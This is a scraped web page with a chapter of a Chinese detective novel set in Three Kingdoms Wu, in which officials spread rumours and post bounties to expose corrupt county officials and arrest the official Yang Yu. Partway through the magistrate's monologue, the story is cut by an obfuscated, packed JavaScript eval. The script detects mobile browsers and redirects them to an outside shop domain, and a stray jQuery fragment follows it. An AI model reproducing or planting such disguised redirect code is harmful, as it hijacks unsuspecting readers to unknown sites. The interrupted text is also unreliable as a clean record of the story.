文趣网 > 其他小说 > 我成嫌疑人了?!(探案) > 45. 第三章第十八回:收网
    这天夜里,数十个身着便服的解烦吏,提前抵达县城的各个人口密集区。有了贼曹掾的许可,夜间巡逻的游徼们默契地假装看不见这些动静。

    茶馆、酒肆、菜市场、街口巷尾,背诵台词,张贴悬赏,忙得不可开交。

    待到清晨的第一缕阳光照亮,人群开始聚集,编好的传闻便悄无声息地散播了出去。

    “听说了吗?咱们交的税,根本就没上交朝廷,全被县丞和几个大官私分了!我就说我们交那么多税,怎么日子一天没好!”

    “可不是嘛!我听我在县衙当差的亲戚说,陛下早就拨了赈灾款下来,结果全被他们贪了,所以才没人给我们发救济粮!”

    “我听说山上那个寺院还给县里捐了不少银两饼,混的还不是钳铁,是铜!哪去了?都去哪儿了?”

    “这可不敢说哦。”

    “原来那些强征壮丁、打死百姓的事,不是羊昱干的!是县令下的命令!羊昱只是个背锅的!”

    “什么?县丞和羊昱都被抓了?还供出了好几个同伙?都是县府里的大官?”

    “骗人的吧,你说那个人,居然做出这种事!”

    “朝廷不管吗!县令在做什么!”

    “把我们的钱和食物还回来!”

    一颗石子投入平静的湖面,就能激起千层涟漪。

    一句话被人为扩散,就会变成真相。

    一夜之间,县城仿佛被无形的手控制着,整个县城就被一股愤怒的情绪笼罩。

    而在这火之上加了把油的,是铺天盖地的悬赏令。

    大街小巷之中,麻纸写的悬赏令和不要钱一样,不仅有文字,还有图画,若是遇到不识字的,还会有贴心的“群众”帮忙阅读。

    “这上面写的呀,是鼓励您去县尉府检举揭发呢。只要去揭发,就有钱那,线索越重要,给的越多,最高可达一贯钱呢。”

    “一贯、一贯是多少啊。”

    “差不多一千枚钱?”

    听得老人惊掉下巴,听得青年男女跃跃欲试,从未见过如此豪气的悬赏。

    一时间,千呼百应,更有冲动的竟直接拉帮结派去堵门。

    不仅如此,连权力不大的底层官吏、小家族的耳朵里,都飘入了各种各样的传闻,低声讨论着是否要掺和一脚。

    而罪魁祸首的四人中的三人,此时正坐在客栈的二楼,从大开的窗户往外眺望。

    “贼曹掾,外面都乱成这样了,你不去安排人维护治安?”

    “游徼和亭长不都去了吗?”柳循一手撑着窗户,一手转着毛笔,腿上还放着摊开的、写了个开头的文书,“你要是闲着,帮我把你干的事情的报告写了。”

    “写个报告而已,有这么费劲吗?”虞捷收回看着窗外的目光,落在他手中的文书上,“一上午了才写了个时间地点。”

    “这世界上哪有好写的报告,对吧,嘉树哥。”

    “......”松桔没有理他,只是靠在椅背上,脸色不好看,头发都抓乱了。

    就算陆延同意留他的名字、盖他的印,但这种大规模散布谣言的事情,写文书汇报,需要把来龙去脉、每一个细节都写清楚,还要总结为什么先斩后奏。

    再说了,没人管得了陆延,不代表他的报告就可以简单写,他本人也会看的。

    让陆延看报告,恐怖程度比给韦曜写报告还苦。

    想到陆延看完之后挑眉质问“你写的这是人类的语言吗?重写。”松桔就觉得胃里一阵翻江倒海,疼得厉害。

    “你还好吗?”

    察觉到异常的虞捷关切地凑了过来。见他脸色苍白,眼睛黯淡无光,背也缩了起来,一副不舒服的模样,本能地抬起手,用手背去试探他的额头。

    “没烧,难道吃坏肚子了?这么一说,早上那碗粥是有点不好喝。”其实好喝的很,她还喝了两碗。

    她又伸出手去轻拍他的后背。

    浑然没有察觉到这番动作下来,对面人直接愣在了原地,动弹不得。

    “实在不舒服的话可以先回去睡觉,这里交给我和承节。”

    “没事,我还好。”

    一听柳循要和她单独相处,胃不痛了,脑子不乱了,背也挺直了。什么懊恼,全都抛到了九霄云外。

    “不会有什么问题。”柳循依然没有落笔,写文书这件事,似乎比他画地图还要困难数十倍,“事态越是紧急,人就越容易出错,那些心里有鬼的家伙,肯定会在几天里露出马脚。比起担心舆论传播的广度,更应该担心事后怎么收场。”

    “收场?”虞捷不明白。

    “马一旦开始飞奔,想要让它在希望的地方停下,就必须提前勒住缰绳,但跑得越快,就越难控制。”松桔扯了把自己原本束好的头发,“不劳柳贼曹操心,我们解烦司就是干这个的。”

    虞捷在他身边一晃,若有所思地托着下巴:“希望殿下能满意结果。”

    ......

    第二日,皇宫。

    “哈切!”

    一声响亮的喷嚏打破了廊下的静谧,韦曜下意识裹紧自己的长袄。天气越来越冷,皇帝偏将都城定在长江边上的武昌,一到冬天,江风就一个劲地穿透衣服往身上钻。

    “弘嗣,风寒了吗?”忽然,一个高大伟岸、身着官服的男人从门口走来,眉眼间带着几分关切,“怎么在这里?”

    “殿下喊我来接您,关于羊氏贪污案,陆部督来信,有新进展,事态变得有些复杂,似乎羊氏只是其中最小的一个。殿下想邀请您一同商议。”韦曜朝着男人深深地行了一礼后,才直起身,恭敬地回道,“请随我来,诸葛丞相掾。”

    ……

    第三日,县府。

    传闻像是被点燃了引线一般,顺着大街小巷疯狂扩散,越传越烈。派了好几拨游徼去镇压、去辟谣都无济于事。可百姓的怒火根本压不住,反而越压越旺。

    几天下来,县令头发都掉了不少,平常还有县丞陪着他烦恼,现在县丞被关在县尉府大牢,派人去试了几次,县尉府那些人都和不认识他们一样,忽然就变得正义凛然,根本无法和以往一样解决。

    而其他同伙们也被吓个半死,这些日子天天都在家里销毁证据,但销毁的越多,暴露的就越多,短短两日,已经有数名同伙被抓。剩下的人中又有不少趁夜跑去县令家里、寻求庇护。

    但他有什么办法,他自己都还在发愁呢。

    茶杯里的茶水换了无数次,却一口也没喝。

    越盘越奇怪。解烦司是怎么知道的,若是其他官吏就罢了,偏偏来的是最不讲理的陆部督,难不成殿下真的如此料事如神,提前布局?

    可他们封锁消息已经很熟练了。别说阳新了,其他地方也很多人是这么干的,为什么偏偏是他们被处理了?

    “县丞去县尉府找县尉之前,是因为羊昱想给自己消罪。当天论书出完就出事了。难不成,羊昱和他们是一伙的?是他暗通的解烦司?他难道真以为,把身上的锅都清干净,就能全身而退?”

    县令扶着胡须,越思考越觉得可信。

    “没错,肯定是这样。之前羊昱就一直想退,好几次都自己去县尉府自首。玩笑,他要是走了,这么多脏事,谁来承担。肯定是因为没让他如愿,所以破罐子破摔。

    “他家最近发生了什么事情?”

    县令的手指在案上滑来滑去,忽然,动作停下,猛地一叩:“是那个小姑娘。羊昱从城中村带回来的小姑娘!小羊不太聪明但乖,肯定是那个小姑娘撺掇的!

    “但,一个小

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701460|206323||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    姑娘,和解烦司能有什么关系。难道她是解烦司的人?可解烦司的姑娘一共就那几个,还都是在战乱年间都能识字读书的大小姐,没听说城中村出去的。难道……”

    脑海中忽然闪过前两天发生的事情。

    山中寺的僧人又来报官提寺中存粮被盗的事情,还说这次已经知道小贼是如何进入粮仓的,是一个外出归来探亲的师兄和他的女眷破解的,请求县尉府派人协助调查。

    但问及师兄及其女眷在何处,僧人说住在县城里,具体位置他也不清楚。

    当时县尉府并不在意,山中寺失窃的事情已经去查过好几次,山太高,每次去都要花很多力气和精力,久而久之,县尉府里也就敷衍了。这次也就和以往一样打发回去,没有在意。

    难道说,那个女眷就是……

    县令哑然失笑。

    ……

    羊昱宅。

    搜查在两天后进入尾声,羊昱被游徼们压着回到家中,一一辨认搜查出的物件。

    羊衜被忠诚的管家带了出去,避免他看到自己继父此时的模样。

    “……这个是我爹的,这个是上次去勘察的时候,别人送的……”

    羊昱的语气平和而有礼,丝毫没有被抓的贪官的恐慌和绝望。

    最后,柳循举起从书房的笔架上搜到的玉佩:“这又是哪里来的?”

    “这块吗?”羊昱思索了片刻,“应该是县丞在一次宴会上送给我的,说是很难得,让我小心保存。”

    “小心保存?我看你和毛笔挂在一起,没见你珍惜。”

    “它很漂亮,对吧。漂亮的东西就想摆出来看,压箱底收起来,多可惜啊。”羊昱耸耸肩,“县丞说,这种工艺,大吴做不出来,只有北魏的工匠才做得了,也就是建国之前,总有南渡避难的北魏人,阳新离长江、相比其他地方,算近,这才有了几块。”

    “是不是真的有这件事,我们会审问县丞,”柳循收起玉佩,一桩心事终于要得到了结,他也可以安心辞官去武昌了,“你要和你儿子告别吗?”

    儿子。

    羊昱的心头颤了颤,最终摇摇头:“他没必要知道这些。”

    柳循不再多说,正要抬起手,让游徼们带走羊昱时,羊昱却又开口说话了。

    “我有个问题想请教。”

    “但说无妨。”

    “我被抓了之后,小衜最好的结局就是被带进皇宫为仆,不会被流放交州吧?皇宫里应该也有罪臣的子女吧。还有地瓜,地瓜会如何呢?”

    “对。如果你不是屯田都尉、骑都尉,还是你父亲的儿子,你儿子可没这么好的命。”柳循点头,“至于地瓜,没有任何法律对狗的去处有要求,你走后,如果无人处理,地瓜或许会成为流浪狗。”

    “这可不行啊。”羊昱呢喃着,思索了片刻,“我,可以再见见小捷吗?若是可以,我还想去趟地里看看今年的收成。”

    柳循凝视着他:“你知道,我们一般不会给罪犯选择场合。”

    “但是我突然被捕,地里的很多事务无人能盖章签字,你们最近收网,人人自危,生怕出岔子,总不能让菜烂在地里吧。”

    “首先,若是扪心无愧,不可能自危。

    “其次,论书已下,你现在戴罪之身,你的印章已经无效了。

    “但是。”柳循话锋一转,“以你们推来推去,只敢压迫低级小吏承担责任的德行。那些家伙确实可能拒绝签章、逃避责任。仅此一次,明天把所有的都签改完,我不会让你出来第二次。至于小捷,我会和她说。”

    “是,谢谢贼曹。”

    羊昱笑了,笑得无比温和,一点没有对抓捕自己之人的芥蒂,反而是发自内心的感谢。

    古怪。柳循想着,转身:“押走。”